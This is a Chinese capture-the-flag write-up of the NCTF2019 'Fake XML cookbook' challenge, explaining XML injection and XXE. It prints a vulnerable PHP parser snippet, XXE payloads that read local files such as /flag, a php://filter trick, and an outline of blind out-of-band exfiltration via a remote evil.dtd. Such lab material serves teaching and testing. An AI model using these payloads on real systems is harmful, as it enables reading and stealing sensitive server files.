NCTF2019 Fake XML cookbook 1题解
前置知识
XML注入
XML是一种常用的标记语言,通过标签对数据进行结构化表示。XML与HTML都是SGML
XML是一种数据组织存储的数据结构方式,安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据,需要过滤掉一些可以改变XML标签也就是说改变XML结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致XML注入攻击。
一个例子
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<username>admin</username>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>
如果攻击者输入
admin </password></admin><admin id="3"><name>hack</name><password>hacker</password></admin>
则源代码变为
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<name>admin</name>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
<admin id="3">
<name>hack</name>
<password>hacker</password>
</admin>
</manager>
这样就通过XML注入添加了一个名为hack、密码为:hacker的管理员账户。
XML注入,也需要满足注入攻击的两大条件,用户能控制数据的输入;程序拼凑了数据。
XML外部实体注入(XXE)
XXE漏洞简介
XXE漏洞全称XML External Entity Injection 即XML外部实体注入。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞。
simplexml_load_string()可以读取XML
XXE常见利用方式
与SQL相似,XXE漏洞也分为有回显和无回显
有回显,可以直接在页面中看到payload的执行结果或现象。
无回显,又称为blind xxe,可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件。
读取任意文件
示例代码
<?php
$xml = simplexml_load_string($_REQUEST['xml']);
print_r($xml);//注释掉该语句即为无回显的情况
?>
构造payload
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY file SYSTEM "file:///d://qwzf.txt" >
]>
<root>
<name>&file;</name>
</root>
读取文件,需URL编码后执行。
通过构造外部实体payload,在 xml 中&file ; 变成了外部文件qwzf.txt中内容,导致敏感信息泄露。
当然,也可以使用php://filter协议读取qwzf.txt文件内容(也可以读取其他类型的文件,如:php文件)
php://filter/read=convert.base64-encode/resource=
如果是无回显的情况
<?php
$xml = simplexml_load_string($_REQUEST['xml']);
//print_r($xml);//注释掉该语句即为无回显的情况
?>
遇到无回显,可以通过Blind XXE方法加上外带数据通道来提取数据,先使用php://filter协议获取目标文件的内容,然后将内容以http请求发送到攻击服务器来读取数据。虽无法直接查看文件内容,但我们可以使用易受攻击的服务器作为代理,在外部网络上执行扫描以及代码。即,当无回显情况时,可以将数据发送到远程服务器(攻击服务器)。
具体操作见上方文章
无回显攻击流程:
先调用%dtd,请求远程服务器(攻击服务器)上的evil.dtd。
再调用 evil.dtd中的 %file。%file 获取受攻击的服务器上面的敏感文件,然后将 %file 的返回结果传到%send 。
然后调用 %send; 把读取到的数据发送到远程服务器上。
题目详解
进入题目,发现一个登陆框
尝试输入抓包,发现
根据题目提示XML,猜测是XML注入,构造payload
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>hack</password>
</user>
得到flag:flag{86948b8f-2f55-4ff4-9ee6-07a6b21f449d}